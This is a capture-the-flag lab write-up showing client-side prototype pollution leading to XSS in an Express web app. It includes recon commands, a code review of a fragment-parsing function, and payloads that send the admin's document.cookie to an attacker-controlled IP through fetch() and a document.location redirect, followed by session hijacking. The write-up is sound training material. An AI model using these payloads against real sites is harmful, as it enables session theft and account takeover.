Polution is a challenge lab hosted by Hack Smarter

Scope

You are a member of the Hack Smarter Red Team, and your organization is beginning to roll out a managed SOC service. You've been provided access to a staging version of the web app before it's pushed to production.

Given Customer Credentials:

pentester:HackSmarter123

Key Concepts

These are core concepts you will see in the lab. Worth understanding before proceeding further.

JavaScript Prototypes

A JavaScript Prototype is a mechanism that allows objects to inherit properties of another object (i.e. a parent object).

None
Figure 1 — Tree Example for Inheritance

In Figure 1, Object.prototype is a plain object living at the root of the prototype chain. Let's say myObject1 is a plain object. Most plain objects inherit from the Object.prototype object (i.e. most plain objects' prototype is Object.prototype). The only case where plain objects do not, is when the prototype is manually set to a different object or null. In Figure 1, the prototypes for both myObject2 and myObject3 are myObject1, while myObject1's prototype is Object.prototype (root of the chain).

It can get a bit confusing, so dig into this module for more clarity.

Sinks

Sinks are functions, methods, or locations in code that uses, processes, and renders data. Potentially dangerous sinks are usually locations in code that processes or uses attacker-controlled data without sanitization and validation controls in place. There are different types of dangerous sinks with different levels of risk.

Gadgets

Gadgets are existing trusted code that an attacker can repurpose to produce an unintended consequence. Two main components of an exploitable gadget are:

  1. Existing code that was not intended to be reached by attacker-controlled input.
  2. A sink within that existing code that produces execution, processing, rendering, etc.

Cross-Site Scripting (XSS)

Cross-Site Scripting is a client-side web vulnerability where an attacker injects code (usually JavaScript) into the application and is interpreted and executed by the browser. There are three different types:

  1. Reflected XSS
  2. Stored XSS
  3. DOM-based XSS

Prototype Pollution

Prototype Pollution is a vulnerability where attackers write properties into the Object.prototype object. This object is the root object and is inherited by all plain objects in the application. The properties the attacker wrote into the object now appears on objects that have the Object.prototype object as their prototype.

How many times did the word object appear? 😆

Recon

Port Scan

The scan revealed ports 22 (SSH) and 3000 (HTTP) were open.

nmap -Pn -sVC -p- 10.1.110.244
None
Figure 2 — Nmap Scan Results

The webapp is running on port 3000 and its backend is Express. Express is also revealed in the response header.

None
Figure 3 — Backend Framework Revealed in Response Header

Webapp — Directory Bruteforcing

Directory bruteforcing resulted in a few directories. I usually use a combination of FFUF and Dirsearch (Dirsearch for its wordlist). However, this time I used Feroxbuster. 😈

feroxbuster -w /mnt/d/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u 'http://10.1
.110.244:3000/'
None
Figure 4 — Feroxbuster Results

Webapp — Walking the Application

In audit logs, there is a search function that reflects what you search. The first thing that comes to mind is attempting common XSS payloads. No success because the application HTML encodes our input.

Payload: <svg/onload=alert(1)>
None
Figure 5 — Attempting XSS Payload with No Success
None
Figure 6 — HTML Encoding the Angled Brackets

In webmail, there is a messenger form with the admin's email already populated. One key detail is the placeholder in the message field stating that we can include links. The first thing on my mind is to steal the admin's cookie via XSS.

I guess it's worth a shot to try a quick payload. First, I stood up an HTTP server using Python. I can now send the payload in the message field with a random value set for the subject field.

python3 -m http.server 80
Payload: <img src=x onerror=fetch("http://10.200.35.175/?c="+document.cookie)>
None
Figure 7 — Attempting to Retrieve the Admin's Cookie via XSS
None
Figure 8 — Getting a Request without the Admin's Cookie

Did not work. Bummer.

When visiting incident response, the application throws a 403 Forbidden. This page seems to be available to administrators only.

Now the title of the challenge lab is Polution . I am thinking of Prototype Pollution, especially since I know the backend is Express on Node.js.

Webapp — Looking at the Source

The application's source contains inline scripts that should intrigue you. Analyzing these script blocks could reveal potential entry points and dangerous sinks for different vulnerability types.

I usually grab interesting script blocks and throw them into a file to open with VSCode.

Looking over the code, the first line that stands out to me is within the executeSearch() function.

if (window.location.hash) syncState(window.location.hash.substring(1), options);
None
Figure 9 — Hmm

The executeSearch() function calls the syncState() function only if a URL fragment exists. That focuses my attention on these two functions for now.

I decide to keep both of these functions in my file and remove the others.

Code — Reviewing the syncState Function

This function has two parameters

  1. params
  2. target

Looking at the function call within executeSearch, it passes window.location.hash.substring(1) and options as arguments.

options -> a plain object

let options = { prefix: "Searching: " };

window.location.hash.substring(1) -> the fragment excluding the #

http://10.1.110.244:3000/dashboard#(param1=hello&param2=world) <-

At a high level, the syncState function modifies the properties of the target object, which in this case is options as shown above.

Initially, the function splits the fragment with & as the delimiter. This creates a new array where it now begins to iterate through each element of the array with foreach.

New Array: ["param1=hello", "param2=world"]
None
Figure 10 — Relevant Flow Chart Representation
None
Figure 11 — Split and Iteration

Then, as it iterates through each element, it separates the parameter and value into two variables, key and value. It makes sure to exclude the = symbol.

None
Figure 12 — Relevant Flow Chart Representation
None
Figure 13 — Separates Param and Value into Key and Value

In this next line, it splits the key with . as the delimiter and stores it in the new array, path. I am going to purposely add a . in one of the parameters to showcase this.

New Params Argument: par.am1=hello&param2=world

# First Iteration
path = ["par", "am1"] <- key contains (.), so it splits into two key elements

# Second Iteration
path = ["param2"] <- key does not contain (.), so it becomes one key element

...
None
Figure 14 — Relevant Flow Chart Representation
None
Figure 15 — Splits the Key into Two Elements if it Finds a (.)

Finally, a for-loop is used to iterate through the path array and modifies the object. A bit hard for me to visually display this into a flow chart. At a high level, this will add key-value pairs into the target object as properties.

Original: { prefix: "Searching: " }
Final: { prefix: 'Searching: ', par: { am1: 'hello' }, param2: 'world' }

To show this output with the code, I made 5 changes to the code. I also commented out unnecessary lines that throw errors.

None
Figure 16 — Changes to Code to Demonstrate Output
None
Figure 17 — Modified Object Properties

Webapp — Prototype Pollution via Fragment Parameters

I can abuse these two functions to poison the Object.prototype object. Before I target an object, let me do a proof-of-concept to check if polluting Object.prototype is possible. To confirm that it worked, I check by using the console. A new plain object should inherit the polluted property from Object.prototype.

Payload: /dashboard#__proto__.polluted=true&param2=world
None
Figure 18 — Client-Side Prototype Pollution

Webapp — Finding the Gadget

With prototype pollution, I need to start looking for an exploitable gadget. It turns out the executeSearch() function is that gadget.

None
Figure 19 — Exploitable Gadget

In Figure 19, the if statement checks for the renderCallback property in the options object. The options object does not have this property. With prototype pollution, I can add this property to the Object.prototype object. Ultimately leading to options inheriting that property from its prototype (Object.prototype).

Perfect so now I have the entry point of our gadget. I am still missing the sink.

In Figure 19, I can see the sink as well.:

const frag = document.createRange().createContextualFragment(options.renderCallback);

At a high level, createContextualFragment(options.renderCallback) will take a string and throw it into a DOM fragment (a group of DOM nodes created by createRange) as a DOM element. The next two lines then renders the DOM fragment's nodes onto the page.

results.innerHTML = "";
results.appendChild(frag);

This means I can set the value for the renderCallback property as an XSS payload.

Payload: /dashboard#__proto__.renderCallback=<svg/onload=fetch("http://10.200.35.175/?c="+document.cookie)>&param2=world

Before sending this to admin, let's first get a proof-of-concept showcasing a successful XSS attack.

None
Figure 20 — Successful XSS

😃

p00n — Deliver the Payload — Get Admin's Session Cookie

We have all we need. Set up an HTTP server with Python and deliver the payload.

Full Payload: http://10.1.110.244:3000/dashboard#__proto__.renderCallback=<svg/onload=fetch("http://10.200.35.175/?c="+document.cookie)>&param2=world
None
Figure 21 — Payload Delivery

It did not work :(

This time I will try a different payload and URL encode it.

Full Payload: http://10.200.35.175:3000/dashboard#__proto__.renderCallback=%3Cscript%3Edocument.location='http://10.200.35.175:443/?c='+document.cookie%3C/script%3E&param2=world
None
Figure 22 — Admin's Session Cookie

Finally, just modify your cookie to the admin's cookie and the flag is in /incident-response .

P.S. Yes, I love em dashes